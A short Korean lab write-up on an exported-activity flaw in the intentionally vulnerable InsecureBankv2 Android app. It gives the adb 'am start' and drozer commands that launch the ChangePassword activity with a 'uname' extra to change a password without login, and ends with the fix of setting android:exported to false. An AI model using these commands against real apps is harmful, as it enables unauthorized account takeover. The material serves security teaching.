액티비티 컨포넌트 취약점
취약점 진단
AndroidManifest.xml을 살펴보면 com.android.insecurebankv2.ChangePassword 액티비티의 exported 옵션이 true 인 것을 볼 수 있다.
따라서 우리는 ChangePassword 액티비티에 접근 할 수 있다.
ADB를 통한 접근
am을 사용하여 com.android.insecurebankv2.ChangePassword 액티비티를 실행 시킬 수 있다.
am start -n com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword
하지만 Username의 값이 없기 때문에 Password를 변경 할 수 없다.
따라서 com.android.insecurebankv2.ChangePassword.class를 통해 intent 변수의 이름을 확인하였다.
다시한번 ADB로 intent를 포함하여 액티비티를 호출하였다.
am start -n com.android.insecurebankv2/com.android.insecurebankv2.ChangePassword --es uname jack
정상적으로 비밀번호가 변경되는 것을 볼 수 있다.
Drozer을 통한 접근
해당 명령어를 통해 ChangePassword 액티비티를 실행 시킬 수 있다.
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword
drozer에서 intent를 포함시키려면 —extra 옵션을 이용하면 된다.
run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword --extra string uname jack
대응방안
외부에서 호출이 가능함으로 android:exported 옵션의 값을 false로 변경하면 된다.